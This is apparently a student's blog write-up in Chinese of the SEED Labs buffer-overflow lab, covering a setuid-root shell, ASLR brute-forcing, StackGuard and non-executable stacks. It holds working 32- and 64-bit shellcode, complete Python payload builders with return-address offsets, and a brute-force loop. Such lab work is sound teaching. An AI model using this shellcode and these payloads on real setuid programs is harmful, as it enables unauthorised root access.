下面的汇编代码展示了如何调用 setuid(0)。相关二进制代码放在 call_shellcode.c文件中。你 只需要将它添加到 shellcode代码开头即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; Invoke setuid(0): 32-bit
xor ebx, ebx ; ebx = 0: setuid()'s argument
xor eax, eax
mov al, 0xd5 ; setuid()'s system call number
int 0x80

; Invoke setuid(0): 64-bit
xor rdi, rdi ; rdi = 0: setuid()'s argument
xor rax, rax
mov al, 0x69 ; setuid()'s system call number
syscall

// Binary code for setuid(0)
// 64-bit: "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit: "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"

将call_shellcode.c编译为以 root为所有者的二进制文件(通过输入”make setuid”命令)。 在不调用 setuid(0)的情况下运行 a32.out和 a64.out,然后在调用 setuid(0)的情况下再次运行 a32.out 和 a64.out。

输入make setuidcall_shellcode.c编译为root所有的二进制文件,不调用setuid(0)的时候:

image-20251006223249524

可以发现由于/bin/dash的防护机制,执行shellcode后并没有进入 root shell。

现在修改call_shellcode.c,调用setuid(0)

image-20251006224059566

发现成功获取 root shell

image-20251006224005383

再次实施攻击

再次实施攻击 现在,使用更新的 shellcode并打开 shell的安全机制,我们可以再次尝试攻击漏洞程 序。对 Level 1重新进行攻击,观察是否可以获得 root shell。在获得 root shell之后,请运行下面 的命令证明安全机制已经打开。虽然不要求对 Level 2和 Level 3重新进行攻击,但是你可以自行尝试 并观察攻击是否有效。

bin/dash通过检测当前进程的euid是不是和uid相同,如果检测到不同,就会主动放弃特权,导致我们拿不到root shell,我们先使用之前32位的exp试试:

image-20251006225151976

发现确实没有拿到root shell。

于是我们修改我们的shellcode,在前面加入以下汇编的机器码:

image-20251006230044546

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
"\x31\xdb\x31\xc0\xb0\xd5\xcd\x80" #setuid(0)
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 400 # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffca7c + start # Change this number
offset = 0xffffcae8 - 0xffffca7c + 4 # Change this number

L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

写入并执行,成功拿到root shell:

image-20251006230102459

64bit为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
"\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05" #setuid(0)
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 64 # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffd880 + start # Change this number
offset = 0x7fffffffd970 - 0x7fffffffd880 + 8 # Change this number

L = 8 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

image-20251006230232404

Task8:攻破地址随机化

在32-bit Linux 机器上,栈的可用熵为19比特,意味着栈的基地址有219 =524,288种可能性。这个 数字并不是很大,可以很容易地使用暴力方法穷举。在本任务中,我们使用这种方法来攻破32-bitVM上 的地址随机化安全机制。首先我们使用以下命令打开Ubuntu的地址随机化,然后对 stack-L1实施相同 的攻击。

1
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2

然后我们使用暴力的方法反复攻击漏洞程序,直到我们放在 badfile文件中的地址正确为止。我们 只对32-bit 程序 stack-L1尝试攻击。你可以使用以下的 shell脚本在无限循环中运行漏洞程序。如果 攻击成功,脚本将停止;否则会继续运行。请耐心等待,可能需要几分钟的时间,如果不幸的话则可能需 要等待更长的时间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

SECONDS=0
value=0

while true; do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack-L1
done

image-20251006234759323

成功进入root shell。

对64-bit 程序的暴力攻击要困难得多,因为栈的可用熵要大得多。虽然不要求完成对64-bit程序的暴 力攻击,但是你感兴趣的话可以尝试一下。让它运行一整夜,说不定你很幸运呢。

Task9:测试其他保护机制

打开 StackGuard 保护机制

许多编译器,比如 gcc,实现了一种名为StackGuard的安全机制以防止缓冲区溢出。在这个安全机制 下,缓冲区溢出攻击将不会成功。在之前的任务中,我们在编译程序时禁用了StackGuard保护机制。在 本任务中,我们将打开该保护机制并观察会发生什么。

首先,在StackGuard安全机制关闭的情况下重复 Level-1攻击,确保攻击仍然可以成功。记得关闭 地址随机化,因为在上个任务中打开了它。

1
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0

然后我们通过在没有-fno-stack-protector选项的情况下重 新编译漏洞程序 stack.c来打开StackGuard保护机制。在 gcc 4.3.3版本及更高版本中,默认启用了 StackGuard。实施攻击;

编译时不使用-fno-stack-protector参数,重新编译stack-L1

将以下的部分加入Makefile

image-20251006233639955

1
2
3
4
stackguard:
gcc -DBUF_SIZE=$(L1) -z execstack $(FLAGS_32) -o stack-L1 stack.c
gcc -DBUF_SIZE=$(L1) -z execstack $(FLAGS_32) -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1

使用make stackguard进行编译:

image-20251006232958007

可以发现检测到了栈溢出,终止了程序。

打开不可执行栈保护机制

在过去,操作系统允许可执行栈,但现在已经改变了:在Ubuntu操作系统中,程序(和共享库)的 二进制映像必须声明它们是否需要可执行栈,即它们需要在程序头中标记一个字段。内核或动态链接器 使用此标记来决定运行中的程序的栈是否可执行。此标记由 gcc编译器自动设置,默认情况下栈不可执 行。我们也可以在编译程序时使用-z noexecstack选项使栈不可执行。在之前的任务中,我们使用-z execstack 选项使栈可执行。

在本任务中,我们将使栈不可执行。我们在 shellcode文件夹中完成该实验。call_shellcode程序 将 shellcode的副本放在栈上,然后在栈上执行代码。请在不使用-z execstack选项的情况下重新编译 call_shellcode.c,分别编译为 a32.out和 a64.out。

攻破不可执行栈保护机制 需要注意的是,不可执行栈只能使栈上无法运行 shellcode,但是它不 能防止缓冲区溢出攻击,因为在利用缓冲区溢出漏洞之后还有其他方法可以运行恶意代码。比如: return-to-libc攻击。我们已经为该攻击设计了一个单独的实验。如果你感兴趣,可以查看Return-to-Libc Attack Lab 的详细介绍。

编译时使用-z noexecstack参数,使栈上不可执行shellcode

将以下写入makefile:

image-20251006233228066

1
2
3
4
5
noexecstack:
gcc -m32 -z noexecstack -o a32.out call_shellcode.c
gcc -z noexecstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out

image-20251006233344331


软件安全实验 SEEDlabs 缓冲区溢出漏洞实验
http://example.com/2026/test36/
作者
sangnigege
发布于
2026年4月15日
许可协议